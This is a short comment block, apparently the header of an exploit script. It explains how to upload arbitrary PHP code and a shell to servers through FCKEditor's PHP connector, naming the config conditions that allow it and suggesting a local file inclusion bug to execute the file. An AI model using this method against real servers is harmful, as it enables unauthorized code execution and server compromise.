/* -> a short explaination: if a user cam call directly


      he can upload malicious contempt on a target server, including arbitrary
      php code, and launch commands on it

      this works when php connector is enabled in config.php and when, ex.,
      in Apache httpd.conf "AddType application/x-httpd-php" directive we have
      an extension not specified in FCKEditor Config[DeniedExtensions][File]

      However, FCKeditor is integrated in a lot of applications, and if you
      succeed to upload the shell (see details in the output of this script)
      search for a local inclusion issue inside of them and include the uploaded
      file                                                                    */
